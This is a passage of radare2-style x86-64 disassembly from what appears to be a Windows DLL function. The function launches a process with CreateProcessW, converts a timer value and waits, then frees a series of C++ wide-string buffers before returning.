mov qword [rsp + 0x48], rax
lea rax, [rsp + 0x330]
mov qword [rsp + 0x40], rax
mov qword [rsp + 0x38], rbx
mov qword [rsp + 0x30], rbx
mov dword [rsp + 0x28], ebx
mov dword [rsp + 0x20], ebx
xor r9d, r9d
xor r8d, r8d
xor edx, edx
call qword [sym.imp.KERNEL32.dll_CreateProcessW]
test eax, eax
je 0x180005e1d
mov rcx, qword [rsp + 0xc0]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov rcx, qword [rsp + 0xc8]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
call fcn.180016ab4
mov rdi, rax
call fcn.180016a98
mov r9, rax
cmp rdi, 0x989680
jne 0x180005d5f
imul rax, r9, 0x64
jmp 0x180005dd8
cmp rdi, 0x16e3600
jne 0x180005dbd
movabs r10, 0xb2f4fc0794908cf3
mov rax, r10
imul r9
add rdx, r9
sar rdx, 0x18
mov rcx, rdx
shr rcx, 0x3f
add rdx, rcx
imul r8, rdx, 0x3b9aca00
imul rcx, rdx, 0x16e3600
sub r9, rcx
imul rcx, r9, 0x3b9aca00
mov rax, r10
imul rcx
add rdx, rcx
sar rdx, 0x18
mov rax, rdx
shr rax, 0x3f
add rax, rdx
add rax, r8
jmp 0x180005dd8
cqo
idiv rdi
imul rcx, rax, 0x3b9aca00
imul rax, rdx, 0x3b9aca00
cqo
idiv rdi
add rax, rcx
movabs rcx, 0x7ffffffed5fa0dff
cmp rax, rcx
jge 0x180005dfe
movabs rcx, 0x12a05f200
add rcx, rax
mov qword [rsp + 0xe0], rcx
jmp 0x180005e10
movabs rax, 0x7fffffffffffffff
mov qword [rsp + 0xe0], rax
lea rcx, [rsp + 0xe0]
call fcn.18000ceb0
call fcn.180006af0
nop
mov rdx, qword [rsp + 0x240]
cmp rdx, 7
jbe 0x180005e6b
lea rdx, [rdx*2 + 2]
mov rcx, qword [rsp + 0x228]
mov rax, rcx
cmp rdx, 0x1000
jb 0x180005e66
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x1800064c4
call fcn.180018120
movdqu xmmword [rsp + 0x238], xmm6
mov word [rsp + 0x228], bx
mov rdx, qword [rsp + 0x260]
cmp rdx, 7
jbe 0x180005ec4
lea rdx, [rdx*2 + 2]
mov rcx, qword [rsp + 0x248]
mov rax, rcx
cmp rdx, 0x1000
jb 0x180005ebf
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x1800064ca
call fcn.180018120
movdqu xmmword [rsp + 0x258], xmm6
mov word [rsp + 0x248], bx
mov rdx, qword [rsp + 0x280]
cmp rdx, 7
jbe 0x180005f1d
lea rdx, [rdx*2 + 2]
mov rcx, qword [rsp + 0x268]
mov rax, rcx
cmp rdx, 0x1000
jb 0x180005f18
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x1800064d0
call fcn.180018120
movdqu xmmword [rsp + 0x278], xmm6
mov word [rsp + 0x268], bx
mov rdx, qword [rsp + 0x2a0]
cmp rdx, 7
jbe 0x180005f76
lea rdx, [rdx*2 + 2]
mov rcx, qword [rsp + 0x288]
mov rax, rcx
cmp rdx, 0x1000
jb 0x180005f71
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x1800064d6
call fcn.180018120
movdqu xmmword [rsp + 0x298], xmm6
mov word [rsp + 0x288], bx
mov rdx, qword [rsp + 0x2c0]
cmp rdx, 7
jbe 0x180005fcf
lea rdx, [rdx*2 + 2]
mov rcx, qword [rsp + 0x2a8]
mov rax, rcx
cmp rdx, 0x1000
jb 0x180005fca
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x1800064dc
call fcn.180018120
movdqu xmmword [rsp + 0x2b8], xmm6
mov word [rsp + 0x2a8], bx
mov rdx, qword [rsp + 0x2e0]
cmp rdx, 7
jbe 0x180006028
lea rdx, [rdx*2 + 2]
mov rcx, qword [rsp + 0x2c8]
mov rax, rcx
cmp rdx, 0x1000
jb 0x180006023
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x1800064e2
call fcn.180018120
movdqu xmmword [rsp + 0x2d8], xmm6
mov word [rsp + 0x2c8], bx
mov rdx, qword [rsp + 0x300]
cmp rdx, 7
jbe 0x180006081
lea rdx, [rdx*2 + 2]
mov rcx, qword [rsp + 0x2e8]
mov rax, rcx
cmp rdx, 0x1000
jb 0x18000607c
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x1800064e8
call fcn.180018120
movdqu xmmword [rsp + 0x2f8], xmm6
mov word [rsp + 0x2e8], bx
mov rdx, qword [rsp + 0x320]
cmp rdx, 7
jbe 0x1800060da
lea rdx, [rdx*2 + 2]
mov rcx, qword [rsp + 0x308]
mov rax, rcx
cmp rdx, 0x1000
jb 0x1800060d5
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x1800064ee
call fcn.180018120
movdqu xmmword [rsp + 0x318], xmm6
mov word [rsp + 0x308], bx
mov rdx, qword [rsp + 0x220]
cmp rdx, 7
jbe 0x180006133
lea rdx, [rdx*2 + 2]
mov rcx, qword [rsp + 0x208]
mov rax, rcx
cmp rdx, 0x1000
jb 0x18000612e
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x1800064f4
call fcn.180018120
movdqu xmmword [rsp + 0x218], xmm6
mov word [rsp + 0x208], bx
mov rdx, qword [rsp + 0x1e0]
cmp rdx, 7
jbe 0x18000618c
lea rdx, [rdx*2 + 2]
mov rcx, qword [rsp + 0x1c8]
mov rax, rcx
cmp rdx, 0x1000
jb 0x180006187
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x1800064fa
call fcn.180018120
mov qword [rsp + 0x1d8], rbx
mov qword [rsp + 0x1e0], 7
mov word [rsp + 0x1c8], bx
mov rdx, qword [rsp + 0x200]
cmp rdx, 7
jbe 0x1800061f0
lea rdx, [rdx*2 + 2]
mov rcx, qword [rsp + 0x1e8]
mov rax, rcx
cmp rdx, 0x1000
jb 0x1800061eb
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x180006500
call fcn.180018120
mov qword [rsp + 0x1f8], rbx
mov qword [rsp + 0x200], 7
mov word [rsp + 0x1e8], bx
mov rdx, qword [rsp + 0x140]
cmp rdx, 7
jbe 0x180006254
lea rdx, [rdx*2 + 2]
mov rcx, qword [rsp + 0x128]
mov rax, rcx
cmp rdx, 0x1000
jb 0x18000624f
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x180006506
call fcn.180018120
mov qword [rsp + 0x138], rbx
mov qword [rsp + 0x140], 7
mov word [rsp + 0x128], bx
mov rdx, qword [rsp + 0x1a0]
cmp rdx, 7
jbe 0x1800062b8
lea rdx, [rdx*2 + 2]
mov rcx, qword [rsp + 0x188]
mov rax, rcx
cmp rdx, 0x1000
jb 0x1800062b3
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x18000650c
call fcn.180018120
mov qword [rsp + 0x198], rbx
mov qword [rsp + 0x1a0], 7
mov word [rsp + 0x188], bx
mov rdx, qword [rsp + 0x180]
cmp rdx, 7
jbe 0x18000631c
lea rdx, [rdx*2 + 2]
mov rcx, qword [rsp + 0x168]
mov rax, rcx
cmp rdx, 0x1000
jb 0x180006317
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x180006512
call fcn.180018120
mov qword [rsp + 0x178], rbx
mov qword [rsp + 0x180], 7
mov word [rsp + 0x168], bx
mov rdx, qword [rsp + 0x118]
cmp rdx, 7
jbe 0x180006380
lea rdx, [rdx*2 + 2]
mov rcx, qword [rsp + 0x100]
mov rax, rcx
cmp rdx, 0x1000
jb 0x18000637b
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x180006518
call fcn.180018120
mov qword [rsp + 0x110], rbx
mov qword [rsp + 0x118], 7
mov word [rsp + 0x100], bx
mov rdx, qword [rsp + 0x1c0]
cmp rdx, 7
jbe 0x1800063e4
lea rdx, [rdx*2 + 2]
mov rcx, qword [rsp + 0x1a8]
mov rax, rcx
cmp rdx, 0x1000
jb 0x1800063df
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x18000651e
call fcn.180018120
mov qword [rsp + 0x1b8], rbx
mov qword [rsp + 0x1c0], 7
mov word [rsp + 0x1a8], bx
mov rdx, qword [rsp + 0x160]
cmp rdx, 7
jbe 0x180006448
lea rdx, [rdx*2 + 2]
mov rcx, qword [rsp + 0x148]
mov rax, rcx
cmp rdx, 0x1000
jb 0x180006443
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x180006524
call fcn.180018120
mov eax, 1
mov rcx, qword [rsp + 0x1730]
xor rcx, rsp
call fcn.180018100
lea r11, [rsp + 0x1750]
mov rbx, qword [r11 + 0x10]
mov rsi, qword [r11 + 0x18]
mov rdi, qword [r11 + 0x20]
movaps xmm6, xmmword [r11 - 0x10]
mov rsp, r11
pop r14
ret
call fcn.18001fbb8
nop
call fcn.18001fbb8
nop
call fcn.18001fbb8
nop
call fcn.18001fbb8
nop
call fcn.18001fbb8
nop
call fcn.18001fbb8
nop
call fcn.18001fbb8
nop
call fcn.18001fbb8
nop
call fcn.18001fbb8
nop
call fcn.18001fbb8
int3
call fcn.18001fbb8
int3
call fcn.18001fbb8
nop
call fcn.18001fbb8
nop
call fcn.18001fbb8
nop
call fcn.18001fbb8
nop
call fcn.18001fbb8
nop
call fcn.18001fbb8
nop
call fcn.18001fbb8
nop
call fcn.18001fbb8
nop
call fcn.18001fbb8
nop
call fcn.18001fbb8
nop
call fcn.18001fbb8
nop
call fcn.18001fbb8
nop
call fcn.18001fbb8
nop
call fcn.18001fbb8
nop
call fcn.18001fbb8
nop
call fcn.18001fbb8
nop
call fcn.18001fbb8
nop
call fcn.18001fbb8
int3